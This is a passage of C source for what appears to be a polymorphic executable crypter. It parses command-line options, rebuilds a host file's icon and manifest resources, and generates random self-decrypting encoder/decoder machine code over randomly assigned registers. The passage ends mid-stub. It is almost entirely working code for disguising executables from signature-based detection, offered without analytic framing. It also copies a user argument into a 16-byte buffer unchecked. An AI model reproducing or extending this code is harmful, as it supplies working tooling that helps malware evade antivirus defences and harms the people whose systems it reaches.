  4198. char s_temp[16];
  4199. //Result=FALSE;
  4200.  
  4201. strcpy(Options,"");
  4202. Quiet=FALSE;
  4203. DynamicDLL=FALSE;
  4204. SaveIcon=FALSE;
  4205. SaveOverlay=FALSE;
  4206. ReqImageBase=0;
  4207. strcpy(InputFileName,"");
  4208. strcpy(OutputFileName,"");
  4209.  
  4210. if((argc<1)||(argc>6)) return 0;
  4211. i=0;
  4212. while(i<argc)
  4213. {
  4214. strcpy(LPar,argv[i]);
  4215. strcpy(LUpArg,LPar);
  4216. CharUpperBuff(LUpArg,(DWORD)strlen(LUpArg));
  4217. if(LUpArg[0]=='-')
  4218. {
  4219. if(strlen(LUpArg)==1)break;
  4220. switch(LUpArg[1])
  4221. {
  4222. case 'Q':
  4223. Quiet=TRUE;
  4224. break;
  4225.  
  4226. case 'D':
  4227. DynamicDLL=TRUE;
  4228. break;
  4229.  
  4230. case 'I':
  4231. SaveIcon=TRUE;
  4232. break;
  4233.  
  4234. case 'A':
  4235. SaveOverlay=TRUE;
  4236. break;
  4237.  
  4238. case 'B':
  4239. case 'O':
  4240. if(strlen(LUpArg)<4) goto l1;
  4241. if(LUpArg[2]!=':') goto l1;
  4242. if(LUpArg[1]=='B')
  4243. {
  4244. memset(s_temp,0,sizeof(s_temp));
  4245. s_temp[0]='0';
  4246. s_temp[1]='x';
  4247. memcpy(s_temp+2,LUpArg+strlen(LUpArg)-8,8);
  4248. ReqImageBase=HexToInt(s_temp);
  4249. if(ReqImageBase==0) goto l1;
  4250. }
  4251. else
  4252. {
  4253. strcpy(s_temp,LPar+3);
  4254. strcpy(OutputFileName,s_temp);
  4255. }
  4256. break;
  4257.  
  4258. default:
  4259. goto l1;
  4260. break;
  4261. }
  4262. }
  4263. else
  4264. {
  4265. strcpy(InputFileName,LPar);
  4266. }
  4267. i++;
  4268. }
  4269. l1:
  4270. if(strlen(OutputFileName)==0) strcpy(OutputFileName,InputFileName);
  4271. return((i!=1)&&(i==argc) &&(strlen(InputFileName)>0));
  4272. }
  4273.  
  4274. //allocate memory via VirtualAlloc
  4275. LPVOID MyAlloc(DWORD ASize)
  4276. {
  4277. return(VirtualAlloc(NULL,ASize,MEM_COMMIT,PAGE_EXECUTE_READWRITE));
  4278. }
  4279.  
  4280. //free memory via VirtualAlloc
  4281. BOOL MyFree(LPVOID APtr)
  4282. {
  4283. if(APtr!=NULL)return(VirtualFree(APtr,0,MEM_RELEASE));
  4284. return(FALSE);
  4285. }
  4286.  
  4287. //extract and fill resource secion
  4288. void PrepareResourceSectionData()
  4289. {
  4290. typedef struct _LTYPE_TABLE{
  4291. IMAGE_RESOURCE_DIRECTORY Directory;
  4292. IMAGE_RESOURCE_DIRECTORY_ENTRY IconsEntry,IconGroupEntry,XPEntry;
  4293. }LTYPE_TABLE, *PLTYPE_TABLE;
  4294.  
  4295. typedef struct _LXP_MANIFEST{
  4296. RESOURCE_TABLE_DIRECTORY_ENTRY NameDir;
  4297. RESOURCE_TABLE_DIRECTORY_ENTRY LangDir;
  4298. IMAGE_RESOURCE_DATA_ENTRY DataEntry;
  4299. }LXP_MANIFEST, *PLXP_MANIFEST;
  4300.  
  4301. typedef struct _LICON_GROUP{
  4302. RESOURCE_TABLE_DIRECTORY_ENTRY GroupNameDir;
  4303. RESOURCE_TABLE_DIRECTORY_ENTRY GroupLangDir;
  4304. IMAGE_RESOURCE_DATA_ENTRY GroupData;
  4305.  
  4306. int IconCount;
  4307.  
  4308. IMAGE_RESOURCE_DIRECTORY NameDir;
  4309. IMAGE_RESOURCE_DIRECTORY_ENTRY NameEntries[32];
  4310.  
  4311. RESOURCE_TABLE_DIRECTORY_ENTRY LangDirs[32];
  4312.  
  4313. IMAGE_RESOURCE_DATA_ENTRY DataEntries[32];
  4314. }LICON_GROUP, *PLICON_GROUP;
  4315.  
  4316. LTYPE_TABLE LTypeTable;
  4317. LXP_MANIFEST LXPManifest;
  4318. LICON_GROUP LIconGroup;
  4319.  
  4320. CHAR LResourceStrings[1024];
  4321. CHAR LResourceData[65536];
  4322. DWORD LResourceStringsPtr,LResourceDataPtr;
  4323.  
  4324. PICON_DIRECTORY LIconDirectory;
  4325.  
  4326. PIMAGE_RESOURCE_DIRECTORY_ENTRY LNameEntry;
  4327. PRESOURCE_TABLE_DIRECTORY_ENTRY LLangEntry;
  4328. PIMAGE_RESOURCE_DATA_ENTRY LDataEntry;
  4329. DWORD LNameRVA,LSubEntryRVA,LSize,LResStringsRVA,LResDataRVA,LManifestSize,LResRawRVA;
  4330. WORD LNameLen;
  4331. PBYTE LPB;//,LPBManifest;
  4332. int LI;
  4333. HMODULE LImage;
  4334. HRSRC LIcoRes;
  4335.  
  4336. ZeroMemory(&LTypeTable,sizeof(LTYPE_TABLE));
  4337. ZeroMemory(&LXPManifest,sizeof(LXP_MANIFEST));
  4338. ZeroMemory(&LIconGroup,sizeof(LICON_GROUP));
  4339.  
  4340. LImage=LoadLibraryEx(InputFileName,NULL,LOAD_LIBRARY_AS_DATAFILE);
  4341. ResourceSectionSize=0;
  4342. ZeroMemory(&LTypeTable,sizeof(LTypeTable));
  4343. if(ResourceIconGroup!=NULL) LTypeTable.Directory.NumberOfIdEntries+=2;
  4344. if(ResourceXPManifest!=NULL) LTypeTable.Directory.NumberOfIdEntries++;
  4345. LTypeTable.IconsEntry.Name=(WORD)RT_ICON;
  4346. LTypeTable.IconsEntry.OffsetToData=0x80000000;
  4347. LTypeTable.IconGroupEntry.Name=(WORD)RT_GROUP_ICON;
  4348. LTypeTable.IconGroupEntry.OffsetToData=0x80000000;
  4349. LTypeTable.XPEntry.Name=RT_XP_MANIFEST;
  4350. LTypeTable.XPEntry.OffsetToData=0x80000000;
  4351.  
  4352. LResourceStringsPtr=0;
  4353. LResourceDataPtr=0;
  4354.  
  4355. if(ResourceIconGroup!=NULL)
  4356. {
  4357. ZeroMemory(&LIconGroup,sizeof(LIconGroup));
  4358. LPB=(PBYTE)(ResourceIconGroup);
  4359. LPB+=sizeof(IMAGE_RESOURCE_DIRECTORY);
  4360. LNameEntry=(PIMAGE_RESOURCE_DIRECTORY_ENTRY)(LPB);
  4361.  
  4362. LNameRVA=LNameEntry->NameOffset;// & 0x7FFFFFFF;
  4363. LSubEntryRVA=LNameEntry->OffsetToDirectory;// & 0x7FFFFFFF;
  4364.  
  4365. if(LNameEntry->NameIsString!=0)//.NameID and 0x80000000<>0
  4366. {
  4367. LIconGroup.GroupNameDir.Table.NumberOfNamedEntries=1;
  4368. LPB=(PBYTE)RVA2RAW(MainData,HostResourceSectionVirtualAddress+LNameRVA);
  4369. memcpy(&LNameLen,LPB,2);
  4370. LNameLen=2*LNameLen;
  4371. LIconGroup.GroupNameDir.Directory.Name=LResourceStringsPtr+0x80000000;
  4372. CopyMemory(&LResourceStrings[LResourceStringsPtr],LPB,LNameLen+2);
  4373. LResourceStringsPtr+=LNameLen+2;
  4374. }
  4375. else
  4376. {
  4377. LIconGroup.GroupNameDir.Directory.Name=LNameEntry->Name;
  4378. LIconGroup.GroupNameDir.Table.NumberOfIdEntries=1;
  4379. }
  4380. LIconGroup.GroupNameDir.Directory.OffsetToData=0;
  4381.  
  4382. LLangEntry=(PRESOURCE_TABLE_DIRECTORY_ENTRY)
  4383. RVA2RAW(MainData,HostResourceSectionVirtualAddress+LSubEntryRVA);
  4384. LSubEntryRVA=LLangEntry->Directory.OffsetToDirectory;
  4385. LIconGroup.GroupLangDir.Table.NumberOfIdEntries=1;
  4386. LIconGroup.GroupLangDir.Directory.Name=LLangEntry->Directory.Name;
  4387. LIconGroup.GroupLangDir.Directory.OffsetToData=0;
  4388.  
  4389. LDataEntry=(PIMAGE_RESOURCE_DATA_ENTRY)
  4390. RVA2RAW(MainData,HostResourceSectionVirtualAddress+LSubEntryRVA);
  4391. LPB=(PBYTE)RVA2RAW(MainData,LDataEntry->OffsetToData);
  4392. LIconGroup.GroupData.Size=LDataEntry->Size;
  4393. LIconGroup.GroupData.OffsetToData=LResourceDataPtr;
  4394. LIconGroup.GroupData.CodePage=LDataEntry->CodePage;
  4395.  
  4396. CopyMemory(&LResourceData[LResourceDataPtr],LPB,LDataEntry->Size);
  4397. LResourceDataPtr+=LDataEntry->Size;
  4398.  
  4399. LIconDirectory=(PICON_DIRECTORY)(LPB);
  4400. LIconGroup.IconCount=LIconDirectory->Count;
  4401. LIconGroup.NameDir.NumberOfIdEntries=LIconGroup.IconCount;
  4402. for(LI=0;LI<LIconDirectory->Count;LI++)
  4403. {
  4404. LIconGroup.NameEntries[LI].Name=LIconDirectory->Entries[LI].ID;
  4405. LIconGroup.NameEntries[LI].OffsetToData=0x80000000;
  4406. LIconGroup.LangDirs[LI].Table.NumberOfIdEntries=1;
  4407. LIconGroup.LangDirs[LI].Directory.OffsetToData=0x80000000;
  4408.  
  4409. LIcoRes=FindResource(LImage,MAKEINTRESOURCE(LIconDirectory->Entries[LI].ID),RT_ICON);
  4410. LPB=(PBYTE)LockResource(LoadResource(LImage,LIcoRes));
  4411. LSize=SizeofResource(LImage,LIcoRes);
  4412. LIconGroup.DataEntries[LI].Size=LSize;
  4413. LIconGroup.DataEntries[LI].OffsetToData=LResourceDataPtr;
  4414.  
  4415. CopyMemory(&LResourceData[LResourceDataPtr],LPB,LSize);
  4416. LResourceDataPtr+=LSize;
  4417. }
  4418.  
  4419. LSize=6+LIconDirectory->Count*sizeof(ICON_DIRECTORY_ENTRY);
  4420. CopyMemory(&LResourceData[LResourceDataPtr],LIconDirectory,LSize);
  4421. LResourceDataPtr+=LSize;
  4422. }
  4423.  
  4424. if(ResourceXPManifest!=NULL)
  4425. {
  4426. LPB=(PBYTE)ResourceXPManifest;
  4427. LPB+=sizeof(IMAGE_RESOURCE_DIRECTORY);
  4428. LNameEntry=(PIMAGE_RESOURCE_DIRECTORY_ENTRY)LPB;
  4429. LNameRVA=LNameEntry->NameOffset;
  4430. LSubEntryRVA=LNameEntry->OffsetToDirectory;
  4431.  
  4432. LXPManifest.NameDir.Table.NumberOfIdEntries=1;
  4433. LXPManifest.NameDir.Directory.Name=LNameRVA;
  4434. LXPManifest.NameDir.Directory.OffsetToData=0x80000000;
  4435.  
  4436. LLangEntry=(PRESOURCE_TABLE_DIRECTORY_ENTRY)
  4437. RVA2RAW(MainData,HostResourceSectionVirtualAddress+LSubEntryRVA);
  4438. LNameRVA=LLangEntry->Directory.NameOffset;
  4439. LSubEntryRVA=LLangEntry->Directory.OffsetToDirectory;
  4440. LXPManifest.LangDir.Table.NumberOfIdEntries=1;
  4441. LXPManifest.LangDir.Directory.Name=LNameRVA;
  4442. LXPManifest.LangDir.Directory.OffsetToData=0x80000000;
  4443.  
  4444. LDataEntry=(PIMAGE_RESOURCE_DATA_ENTRY)
  4445. RVA2RAW(MainData,HostResourceSectionVirtualAddress+LSubEntryRVA);
  4446. LPB=(PBYTE)RVA2RAW(MainData,LDataEntry->OffsetToData);
  4447. LXPManifest.DataEntry.OffsetToData=LResourceDataPtr;
  4448. LXPManifest.DataEntry.Size=LDataEntry->Size;
  4449. LXPManifest.DataEntry.CodePage=LDataEntry->CodePage;
  4450.  
  4451. CopyMemory(&LResourceData[LResourceDataPtr],LPB,LDataEntry->Size);
  4452. LResourceDataPtr+=LDataEntry->Size;
  4453. }
  4454.  
  4455. LPB=(PBYTE)ResourceData;
  4456. LManifestSize=0;
  4457. if(ResourceXPManifest!=NULL) LManifestSize=2*sizeof(RESOURCE_TABLE_DIRECTORY_ENTRY);
  4458.  
  4459. LSubEntryRVA=sizeof(LTypeTable.Directory) | 0x80000000;
  4460. if(ResourceIconGroup!=NULL) LSubEntryRVA+=sizeof(LTypeTable.IconsEntry)+sizeof(LTypeTable.IconGroupEntry);
  4461. if(ResourceXPManifest!=NULL) LSubEntryRVA+=sizeof(LTypeTable.XPEntry);
  4462. if(ResourceIconGroup==NULL) LTypeTable.XPEntry.OffsetToData=LSubEntryRVA;
  4463. else LTypeTable.IconsEntry.OffsetToData=LSubEntryRVA;
  4464. LSize=LSubEntryRVA & 0x7FFFFFFF;
  4465. LPB+=LSize;
  4466.  
  4467. if(ResourceIconGroup==NULL)
  4468. {
  4469. LResDataRVA=LSubEntryRVA & 0x7FFFFFFF;
  4470. LResDataRVA+=sizeof(LXPManifest.NameDir);
  4471. LResDataRVA+=sizeof(LXPManifest.LangDir);
  4472. }
  4473. else
  4474. {
  4475. LResStringsRVA=LSubEntryRVA;
  4476. LResStringsRVA+=sizeof(LIconGroup.NameDir);
  4477. LResStringsRVA+=LIconGroup.IconCount*sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY);
  4478. LResStringsRVA+=LIconGroup.IconCount*sizeof(RESOURCE_TABLE_DIRECTORY_ENTRY);
  4479. LResStringsRVA+=sizeof(LIconGroup.GroupNameDir);
  4480. LResStringsRVA+=sizeof(LIconGroup.GroupLangDir);
  4481. LResStringsRVA+=LManifestSize;
  4482. LResDataRVA=(LResStringsRVA & 0x7FFFFFFF)+LResourceStringsPtr;
  4483.  
  4484. //icons - name directory
  4485. LSize=sizeof(LIconGroup.NameDir);
  4486. LSubEntryRVA+=LSize;
  4487. CopyMemory(LPB,&LIconGroup.NameDir,LSize);
  4488. LPB+=LSize;
  4489.  
  4490. //icons - name entries
  4491. LSize=LIconGroup.IconCount*sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY);
  4492. LSubEntryRVA+=LSize;
  4493. for(LI=0;LI<LIconGroup.IconCount;LI++)
  4494. {
  4495. LIconGroup.NameEntries[LI].OffsetToData=LSubEntryRVA;
  4496. LSubEntryRVA+=sizeof(RESOURCE_TABLE_DIRECTORY_ENTRY);
  4497. }
  4498. CopyMemory(LPB,&LIconGroup.NameEntries,LSize);
  4499. LPB+=LSize;
  4500.  
  4501. //icons - lang directory + entries
  4502. LSize=LIconGroup.IconCount*sizeof(RESOURCE_TABLE_DIRECTORY_ENTRY);
  4503. for(LI=0;LI<LIconGroup.IconCount;LI++)
  4504. {
  4505. LIconGroup.LangDirs[LI].Directory.OffsetToData=LResDataRVA;
  4506. LResDataRVA+=sizeof(IMAGE_RESOURCE_DATA_ENTRY);
  4507. }
  4508. CopyMemory(LPB,&LIconGroup.LangDirs,LSize);
  4509. LPB+=LSize;
  4510.  
  4511. //icon group - name directory
  4512. LTypeTable.IconGroupEntry.OffsetToData=LSubEntryRVA;
  4513. LSize=sizeof(LIconGroup.GroupNameDir.Table);
  4514. LSubEntryRVA+=LSize;
  4515. CopyMemory(LPB,&LIconGroup.GroupNameDir.Table,LSize);
  4516. LPB+=LSize;
  4517.  
  4518. //icon group - name entry
  4519. if(LIconGroup.GroupNameDir.Directory.NameIsString!=0)
  4520. {
  4521. LIconGroup.GroupNameDir.Directory.Name=LResStringsRVA | 0x80000000;
  4522. }
  4523.  
  4524. LSize=sizeof(LIconGroup.GroupNameDir.Directory);
  4525. LSubEntryRVA+=LSize;
  4526. LIconGroup.GroupNameDir.Directory.OffsetToData=LSubEntryRVA;
  4527. CopyMemory(LPB,&LIconGroup.GroupNameDir.Directory,LSize);
  4528. LPB+=LSize;
  4529.  
  4530. //icon group - lang directory + entry
  4531. LIconGroup.GroupLangDir.Directory.OffsetToData=LResDataRVA;
  4532. LSize=sizeof(LIconGroup.GroupLangDir);
  4533. LSubEntryRVA+=LSize;
  4534. LResDataRVA+=sizeof(IMAGE_RESOURCE_DATA_ENTRY);
  4535. CopyMemory(LPB,&LIconGroup.GroupLangDir,LSize);
  4536. LPB+=LSize;
  4537. }
  4538.  
  4539. if(ResourceXPManifest!=NULL)
  4540. {
  4541. LTypeTable.XPEntry.OffsetToData=LSubEntryRVA;
  4542.  
  4543. //manifest - name directory + entry
  4544. LSize=sizeof(LXPManifest.NameDir);
  4545. LSubEntryRVA+=LSize;
  4546. LXPManifest.NameDir.Directory.OffsetToData=LSubEntryRVA;
  4547. CopyMemory(LPB,&LXPManifest.NameDir,LSize);
  4548. LPB+=LSize;
  4549.  
  4550. //manifest - lang directory + entry
  4551. LSize=sizeof(LXPManifest.LangDir);
  4552. LXPManifest.LangDir.Directory.OffsetToData=LResDataRVA;
  4553. LResDataRVA+=sizeof(IMAGE_RESOURCE_DATA_ENTRY);
  4554. CopyMemory(LPB,&LXPManifest.LangDir,LSize);
  4555. LPB+=LSize;
  4556. }
  4557.  
  4558. //strings
  4559. CopyMemory(LPB,&LResourceStrings,LResourceStringsPtr);
  4560. LPB+=LResourceStringsPtr;
  4561.  
  4562. LResRawRVA=LResDataRVA & 0x7FFFFFFF;
  4563.  
  4564. if(ResourceIconGroup!=NULL)
  4565. {
  4566. //icons - data
  4567. LSize=sizeof(IMAGE_RESOURCE_DATA_ENTRY)*LIconGroup.IconCount;
  4568. for(LI=0;LI<LIconGroup.IconCount;LI++)
  4569. {
  4570. LIconGroup.DataEntries[LI].OffsetToData+=LResRawRVA+ResourceSection.VirtualAddress;
  4571. }
  4572. CopyMemory(LPB,&LIconGroup.DataEntries,LSize);
  4573. LPB+=LSize;
  4574.  
  4575. //icon group - data
  4576. LSize=sizeof(LIconGroup.GroupData);
  4577. LIconGroup.GroupData.OffsetToData+=LResRawRVA+ResourceSection.VirtualAddress;
  4578. CopyMemory(LPB,&LIconGroup.GroupData,LSize);
  4579. LPB+=LSize;
  4580. }
  4581.  
  4582. if(ResourceXPManifest!=NULL)
  4583. {
  4584. //manifest - data
  4585. LSize=sizeof(LXPManifest.DataEntry);
  4586. LXPManifest.DataEntry.OffsetToData+=LResRawRVA+ResourceSection.VirtualAddress;
  4587. CopyMemory(LPB,&LXPManifest.DataEntry,LSize);
  4588. LPB+=LSize;
  4589. }
  4590.  
  4591. CopyMemory(LPB,&LResourceData,LResourceDataPtr);
  4592. LPB+=LResourceDataPtr;
  4593. ResourceSectionSize=DWORD(LPB)-DWORD(ResourceData);
  4594.  
  4595. LPB=(PBYTE)ResourceData;
  4596. CopyMemory(LPB,&LTypeTable,sizeof(LTypeTable.Directory));
  4597. LPB+=sizeof(LTypeTable.Directory);
  4598. if(ResourceIconGroup!=NULL)
  4599. {
  4600. CopyMemory(LPB,&LTypeTable.IconsEntry,sizeof(LTypeTable.IconsEntry));
  4601. LPB+=sizeof(LTypeTable.IconsEntry);
  4602. CopyMemory(LPB,&LTypeTable.IconGroupEntry,sizeof(LTypeTable.IconGroupEntry));
  4603. LPB+=sizeof(LTypeTable.IconGroupEntry);
  4604. }
  4605. if(ResourceXPManifest!=NULL)
  4606. {
  4607. CopyMemory(LPB,&LTypeTable.XPEntry,sizeof(LTypeTable.XPEntry));
  4608. }
  4609.  
  4610. FreeLibrary(LImage);
  4611. }
  4612.  
  4613. //----------------------------------------------------------------------------------
  4614. //function GenerateEncoderDecoder(AHostSize:Cardinal;out OEncoder,ODecoder:Pointer):Cardinal;
  4615. //generate encoder and decoder for the host file
  4616. //returns size of decoder
  4617. #define CI_XOR 0
  4618. #define CI_ADD 1
  4619. #define CI_SUB 2
  4620. #define CI_ROR 3
  4621. #define CI_ROL 4
  4622. #define CI_NOT 5
  4623. #define CI_NEG 6
  4624. #define CI_BSWAP 7
  4625. #define CI_XOR_OFS 8
  4626. #define CI_ADD_OFS 9
  4627. #define CI_SUB_OFS 10
  4628. #define CI_XOR_SMH 11
  4629. #define CI_ADD_SMH 12
  4630. #define CI_SUB_SMH 13
  4631. #define CI_SMH_ADD 14
  4632. #define CI_SMH_SUB 15
  4633. #define CI_MAX 16
  4634.  
  4635.  
  4636. typedef struct _CODER_INSTRUCTION
  4637. {
  4638. BYTE IType,ILen;
  4639. DWORD IArg1,IArg2,IArg3;
  4640. }CODER_INSTRUCTION;
  4641.  
  4642. typedef struct _CODER_CONTEXT
  4643. {
  4644. BYTE DataSizeRegister;
  4645. BYTE DataAddrRegister;
  4646. BYTE DataRegister;
  4647. BYTE OffsetRegister;
  4648. BYTE SmashRegister;
  4649. BYTE FreeRegister;
  4650. }CODER_CONTEXT;
  4651.  
  4652. typedef CODER_INSTRUCTION t_CODER[256];
  4653.  
  4654. CODER_CONTEXT LCoderContext;
  4655. t_CODER LEncoder,LDecoder;
  4656. CHAR LEncoderData[512],LDecoderData[512];
  4657. BYTE LInstrCount;
  4658. //BYTE LReg;
  4659. #ifdef STATIC_CONTEXT
  4660. int LNotUsed;
  4661. BOOL LRegUsed[Reg32Count];
  4662. #endif
  4663. //PBYTE LPB;
  4664. PBYTE LPB2;
  4665. DWORD LEncSize,LDecSize,LSmashNum;
  4666.  
  4667. void GenerateCoderInstruction(t_CODER ACoder,int AInstr)
  4668. {
  4669. switch(ACoder[AInstr].IType)
  4670. {
  4671. case CI_XOR:
  4672. XorReg32Num32(LPB,LCoderContext.DataRegister,ACoder[AInstr].IArg1);
  4673. break;
  4674.  
  4675. case CI_ADD:
  4676. AddReg32Num32(LPB,LCoderContext.DataRegister,ACoder[AInstr].IArg1);
  4677. break;
  4678.  
  4679. case CI_SUB:
  4680. SubReg32Num32(LPB,LCoderContext.DataRegister,ACoder[AInstr].IArg1);
  4681. break;
  4682.  
  4683. case CI_ROR:
  4684. RorReg32Num8(LPB,LCoderContext.DataRegister,(BYTE)ACoder[AInstr].IArg1);
  4685. break;
  4686.  
  4687. case CI_ROL:
  4688. RolReg32Num8(LPB,LCoderContext.DataRegister,(BYTE)ACoder[AInstr].IArg1);
  4689. break;
  4690.  
  4691. case CI_NOT:
  4692. NotReg32(LPB,LCoderContext.DataRegister);
  4693. break;
  4694.  
  4695. case CI_NEG:
  4696. NegReg32(LPB,LCoderContext.DataRegister);
  4697. break;
  4698.  
  4699. case CI_BSWAP:
  4700. Bswap(LPB,LCoderContext.DataRegister);
  4701. break;
  4702.  
  4703. case CI_XOR_OFS:
  4704. XorReg32Reg32(LPB,LCoderContext.DataRegister,LCoderContext.OffsetRegister);
  4705. break;
  4706.  
  4707. case CI_ADD_OFS:
  4708. AddReg32Reg32(LPB,LCoderContext.DataRegister,LCoderContext.OffsetRegister);
  4709. break;
  4710.  
  4711. case CI_SUB_OFS:
  4712. SubReg32Reg32(LPB,LCoderContext.DataRegister,LCoderContext.OffsetRegister);
  4713. break;
  4714.  
  4715. case CI_XOR_SMH:
  4716. XorReg32Reg32(LPB,LCoderContext.DataRegister,LCoderContext.SmashRegister);
  4717. break;
  4718.  
  4719. case CI_ADD_SMH:
  4720. AddReg32Reg32(LPB,LCoderContext.DataRegister,LCoderContext.SmashRegister);
  4721. break;
  4722.  
  4723. case CI_SUB_SMH:
  4724. SubReg32Reg32(LPB,LCoderContext.DataRegister,LCoderContext.SmashRegister);
  4725. break;
  4726.  
  4727. case CI_SMH_ADD:
  4728. AddReg32Num32(LPB,LCoderContext.SmashRegister,ACoder[AInstr].IArg1);
  4729. break;
  4730.  
  4731. case CI_SMH_SUB:
  4732. SubReg32Num32(LPB,LCoderContext.SmashRegister,ACoder[AInstr].IArg1);
  4733. break;
  4734. }
  4735. }
  4736.  
  4737. //generate encoder and decoder for the host file
  4738. //returns size of decoder
  4739. DWORD GenerateEncoderDecoder(DWORD AHostSize,PCHAR &OEncoder,PCHAR &ODecoder)
  4740. {
  4741. int i;
  4742. LInstrCount=(BYTE)Random(32)+16; //number of instructions in encoder/decoder
  4743.  
  4744. LSmashNum=Random(0xFFFFFFFF);
  4745.  
  4746. //at first generate coder context
  4747. for(i=0;i<Reg32Count;i++) LRegUsed[i]=FALSE;
  4748. LRegUsed[REG_ESP]=TRUE;
  4749. LRegUsed[REG_EBP]=TRUE;
  4750. LNotUsed=Reg32Count-2;
  4751. while(LNotUsed>0)
  4752. {
  4753. LReg=(BYTE)Random(Reg32Count);
  4754. while(LRegUsed[LReg])
  4755. {
  4756. LReg=(LReg+1) % Reg32Count;
  4757. }
  4758. LRegUsed[LReg]=TRUE;
  4759.  
  4760. switch(LNotUsed)
  4761. {
  4762. case 1:
  4763. LCoderContext.DataSizeRegister=LReg;
  4764. break;
  4765.  
  4766. case 2:
  4767. LCoderContext.DataAddrRegister=LReg;
  4768. break;
  4769.  
  4770. case 3:
  4771. LCoderContext.DataRegister=LReg;
  4772. break;
  4773.  
  4774. case 4:
  4775. LCoderContext.OffsetRegister=LReg;
  4776. break;
  4777.  
  4778. case 5:
  4779. LCoderContext.SmashRegister=LReg;
  4780. break;
  4781.  
  4782. case 6:
  4783. LCoderContext.FreeRegister=LReg;
  4784. break;
  4785. }
  4786. LNotUsed--;
  4787. }
  4788.  
  4789. //generate encoder/decoder
  4790. for(i=0;i<LInstrCount;i++)
  4791. {
  4792. LEncoder[i].IType=(BYTE)Random(CI_MAX);
  4793. switch(LEncoder[i].IType)
  4794. {
  4795. case CI_XOR:
  4796. //DataRegister = DataRegister xor IArg1
  4797. LEncoder[i].IArg1=Random(0xFFFFFFFF);
  4798. LDecoder[i].IType=CI_XOR;
  4799. LDecoder[i].IArg1=LEncoder[i].IArg1;
  4800. break;
  4801.  
  4802. case CI_ADD:
  4803. //DataRegister = DataRegister + IArg1
  4804. LEncoder[i].IArg1=Random(0xFFFFFFFF);
  4805. //DataRegister = DataRegister - IArg1
  4806. LDecoder[i].IType=CI_SUB;
  4807. LDecoder[i].IArg1=LEncoder[i].IArg1;
  4808. break;
  4809.  
  4810. case CI_SUB:
  4811. //DataRegister = DataRegister - IArg1
  4812. LEncoder[i].IArg1=Random(0xFFFFFFFF);
  4813. //DataRegister = DataRegister + IArg1
  4814. LDecoder[i].IType=CI_ADD;
  4815. LDecoder[i].IArg1=LEncoder[i].IArg1;
  4816. break;
  4817.  
  4818. case CI_ROR:
  4819. //DataRegister = DataRegister ror IArg1
  4820. LEncoder[i].IArg1=Random(0x100);
  4821. //DataRegister = DataRegister rol IArg1
  4822. LDecoder[i].IType=CI_ROL;
  4823. LDecoder[i].IArg1=LEncoder[i].IArg1;
  4824. break;
  4825.  
  4826. case CI_ROL:
  4827. //DataRegister = DataRegister rol IArg1
  4828. LEncoder[i].IArg1=Random(0x100);
  4829. //DataRegister = DataRegister ror IArg1
  4830. LDecoder[i].IType=CI_ROR;
  4831. LDecoder[i].IArg1=LEncoder[i].IArg1;
  4832. break;
  4833.  
  4834. case CI_NOT:
  4835. //DataRegister = not DataRegister
  4836. LDecoder[i].IType=CI_NOT;
  4837. break;
  4838.  
  4839. case CI_NEG:
  4840. //DataRegister = -DataRegister
  4841. LDecoder[i].IType=CI_NEG;
  4842. break;
  4843.  
  4844. case CI_BSWAP:
  4845. //DataRegister = swaped DataRegister
  4846. LDecoder[i].IType=CI_BSWAP;
  4847. break;
  4848.  
  4849. case CI_XOR_OFS:
  4850. //DataRegister = DataRegister xor OffsetRegister
  4851. LDecoder[i].IType=CI_XOR_OFS;
  4852. break;
  4853.  
  4854. case CI_ADD_OFS:
  4855. //DataRegister = DataRegister + OffsetRegister
  4856. //DataRegister = DataRegister - OffsetRegister
  4857. LDecoder[i].IType=CI_SUB_OFS;
  4858. break;
  4859.  
  4860. case CI_SUB_OFS:
  4861. //DataRegister = DataRegister + OffsetRegister
  4862. //DataRegister = DataRegister - OffsetRegister
  4863. LDecoder[i].IType=CI_ADD_OFS;
  4864. break;
  4865.  
  4866. case CI_XOR_SMH:
  4867. //DataRegister = DataRegister xor SmashRegister
  4868. LDecoder[i].IType=CI_XOR_SMH;
  4869. break;
  4870.  
  4871. case CI_ADD_SMH:
  4872. //DataRegister = DataRegister + SmashRegister
  4873. //DataRegister = DataRegister - SmashRegister
  4874. LDecoder[i].IType=CI_SUB_SMH;
  4875. break;
  4876.  
  4877. case CI_SUB_SMH:
  4878. //DataRegister = DataRegister + SmashRegister
  4879. //DataRegister = DataRegister - SmashRegister
  4880. LDecoder[i].IType=CI_ADD_SMH;
  4881. break;
  4882.  
  4883. case CI_SMH_ADD:
  4884. //SmashRegister = SmashRegister + IArg1
  4885. LEncoder[i].IArg1=Random(0xFFFFFFFF);
  4886. //SmashRegister = SmashRegister - IArg1
  4887. LDecoder[i].IType=CI_SMH_SUB;
  4888. LDecoder[i].IArg1=LEncoder[i].IArg1;
  4889. break;
  4890.  
  4891. case CI_SMH_SUB:
  4892. //SmashRegister = SmashRegister - IArg1
  4893. LEncoder[i].IArg1=Random(0xFFFFFFFF);
  4894. //SmashRegister = SmashRegister + IArg1
  4895. LDecoder[i].IType=CI_SMH_ADD;
  4896. LDecoder[i].IArg1=LEncoder[i].IArg1;
  4897. break;
  4898. }
  4899. }
  4900.  
  4901. LPB=(PBYTE)(&LEncoderData);
  4902. //stub
  4903. PushReg32(LPB,REG_EBX);
  4904. PushReg32(LPB,REG_ESI);
  4905. PushReg32(LPB,REG_EDI);
  4906. MovReg32RegMemIdx8(LPB,LCoderContext.DataAddrRegister,REG_ESP,0x10);
  4907. MovReg32Num32(LPB,LCoderContext.DataSizeRegister,AHostSize);
  4908. XorReg32Reg32(LPB,LCoderContext.OffsetRegister,LCoderContext.OffsetRegister);
  4909. MovReg32Num32(LPB,LCoderContext.SmashRegister,LSmashNum);
  4910. //main cycle
  4911. LPB2=LPB;
  4912. //load data
  4913. MovReg32RegMem(LPB,LCoderContext.DataRegister,LCoderContext.DataAddrRegister);
  4914. //generate encoder instructions
  4915. for(i=0;i<LInstrCount;i++)
  4916. {
  4917. GenerateCoderInstruction(LEncoder,i);
  4918. }
  4919. //store data
  4920. MovRegMemReg32(LPB,LCoderContext.DataAddrRegister,LCoderContext.DataRegister);
  4921. //inc data ptr
  4922. AddReg32Num8(LPB,LCoderContext.DataAddrRegister,4);
  4923. //inc offset
  4924. AddReg32Num8(LPB,LCoderContext.OffsetRegister,4);
  4925. //end of data?
  4926. CmpReg32Reg32(LPB,LCoderContext.OffsetRegister,LCoderContext.DataSizeRegister);
  4927. RelJnzAddr32(LPB,DWORD(-((DWORD(LPB)+6)-DWORD(LPB2))));
  4928. //ret
